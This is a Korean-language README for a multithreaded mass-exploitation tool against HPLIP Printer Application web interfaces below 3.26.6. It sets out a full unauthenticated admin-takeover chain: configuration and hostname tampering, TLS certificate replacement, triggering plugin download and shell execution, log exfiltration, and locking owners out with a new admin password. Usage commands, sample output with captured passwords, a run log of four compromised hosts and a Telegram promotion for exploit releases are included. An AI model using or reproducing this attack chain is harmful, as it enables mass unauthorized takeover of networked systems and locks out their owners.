
HPLIP < 3.26.6 — PAPPL 웹 인터페이스를 통한 완전한 관리자 권한 탈취 (인증 없음). CVE-2026-91097부터 CVE-2026-91106까지 관련 (CVSS 9.3)
🔬 최신 취약점 연구 및 익스플로잇 릴리스를 위해 Telegram에 참여하세요
3.26.6 이전 모든 HPLIP 버전의 HPLIP 프린터 애플리케이션(PAPPL 기반 웹 인터페이스)을 대상으로 하는 대량 익스플로잇 도구입니다. 이 도구는 PAPPL 웹 인터페이스의 기본 무인증 상태를 악용하여 전체 관리자 탈취 체인을 수행합니다: 설정 변조, 호스트 이름 변경, TLS 인증서 교체, HP 플러그인 설치(대상에서 .run 파일의 셸 실행을 트리거), 시스템 로그 유출, 그리고 관리자 비밀번호 잠금입니다.
핵심 취약점은 PAPPL 무인증 관리자 접근입니다 — HPLIP 프린터 애플리케이션은 기본적으로 비밀번호가 설정되어 있지 않아, 모든 네트워크 공격자가 웹 인터페이스(일반적으로 포트 8000)를 통해 인증 없이 모든 관리 작업을 수행할 수 있습니다.
또한 플러그인 설치 체인은 다음에서 다루는 약점을 활용합니다:
| CVE | CWE | CVSS 4.0 | 관련성 |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | plugin.spec의 경로 순회 — 이 도구가 트리거하는 플러그인 설치가 취약한 pluginhandler.py 코드를 통과합니다 |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | 무결성 검사 없는 다운로드 — 플러그인 .run 파일이 HTTP를 통해 다운로드되어 대상에서 sh로 실행됩니다 |
HP 보안 공지: HPSBPI04151
Target Discovery
│
▼
Detect HPLIP Printer Application (Server header + version)
│
▼
Check Authentication Status (/security)
│
├── Password Set ──► Log as VULN (locked)
│
└── No Password (default) ──► Exploit Chain:
│
├── 1. Modify Configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Verified: marker reflected in response
│
├── 2. Change Hostname (/network)
│ Old hostname captured, new hostname set
│ Verified: new value reflected in response
│
├── 3. Upload TLS Certificate (/tls-install-crt)
│ Custom PEM certificate + private key
│ Multipart file upload
│
├── 4. Install HP Plugin (/plugin)
│ Step 1: POST action=install-plugin (downloads .run)
│ Step 2: POST action=license-accepted (executes with sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Read Log File (/logfile.txt)
│ System paths, environment info, Snap paths
│
└── 6. Set Admin Password (/security)
Locks out further unauthenticated access
Completes full admin takeover
pip install requests
Python 3.8+ 필요. 다른 의존성은 없습니다.
python T.py targets.txt 50
| 인수 | 설명 | 기본값 |
|---|---|---|
targets.txt | 대상 목록이 포함된 파일 (한 줄에 하나) | 프롬프트로 입력 |
50 | 동시 스레드 수 | 15 |
python T.py
도구가 대상 목록 파일과 스레드 수를 입력하라는 프롬프트를 표시합니다.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000입니다#로 시작하는 줄은 무시됩니다AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Admin Takeover + Full Control
Affected < 3.26.6 │ PAPPL Unauthenticated Access
CVE-2026-91097 │ Plugin Path Traversal
CVE-2026-91102 │ Plugin Download Without Integrity + Shell Exec
Exploited via Web: /security /config /network /plugin /tls-install-crt /logs
By: Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ Admin Takeover: 4 └─ AdminS.txt
▐ Modifications : 8 └─ Nx_modify.txt
▐ Cert Uploads : 4 └─ Nx_upload.txt
▐ Plugin Exec : 1 └─ Nx_plugin.txt
▐ Recon / Info : 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| 태그 | 의미 |
|---|---|
HIT | 익스플로잇 성공 — 관리자 탈취 달성 |
VULN |
/var/snap/hplip-printer-app/common/ 아래에 저장됩니다sh plugin.run --keep --nox11을 트리거하여 HP의 공식 플러그인 바이너리를 실행합니다 — 콘텐츠는 HP 서버에서 다운로드되며, 공격자는 플러그인 콘텐츠를 제어하지 않고 그 실행만 트리거합니다By: Nxploited
이 도구는 승인된 보안 연구, 침투 테스트, 그리고 교육 목적으로만 엄격히 제공됩니다. 시스템 소유자의 명시적인 서면 허가 없이 이 도구를 시스템에 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 도구의 사용으로 인해 발생하는 어떠한 오용, 손해, 또는 법적 결과에 대해서도 책임을 지지 않습니다. 보안 평가를 수행하기 전에 항상 적절한 승인을 받으십시오. 이 도구를 사용함으로써 귀하는 자신의 행동과 모든 관련 법률 및 규정 준수에 대한 전적인 책임이 귀하에게 있음에 동의합니다.
| 엔드포인트 | 동작 | 검증됨 |
|---|
/security | 관리자 비밀번호 설정 (계정 탈취) | ✅ |
/config | DNS-SD 이름, 위치, 조직, 연락처 수정 | ✅ |
/network | 시스템 호스트 이름 변경 | ✅ |
/tls-install-crt | 임의의 TLS 인증서 + 개인 키 업로드 | ✅ |
/plugin | HP 플러그인 다운로드 + 라이선스 동의 + 설치 트리거 (.run을 sh로 실행) | ✅ |
/logfile.txt | 전체 애플리케이션 로그 파일 읽기 (정보 노출) | ✅ |
| 파일 | 내용 |
|---|
AdminS.txt | 관리자 탈취 — 비밀번호, 서버 버전, 전체 패널 URL 맵 |
Nx_modify.txt | 검증된 설정 및 호스트 이름 변경 (이전 → 새 값) |
Nx_upload.txt | TLS 인증서 업로드 확인 |
Nx_plugin.txt | 셸 실행 상태를 포함한 HP 플러그인 설치 결과 |
Nx_recon.txt | 정보 노출 — 로그 파일 크기, 환경 경로, 버전 |
| 취약하지만 비밀번호가 이미 설정됨 (잠김) |
SAFE | 버전 ≥ 3.26.6 (패치됨) |
SKIP | HPLIP 프린터 애플리케이션이 아니거나 연결 불가 |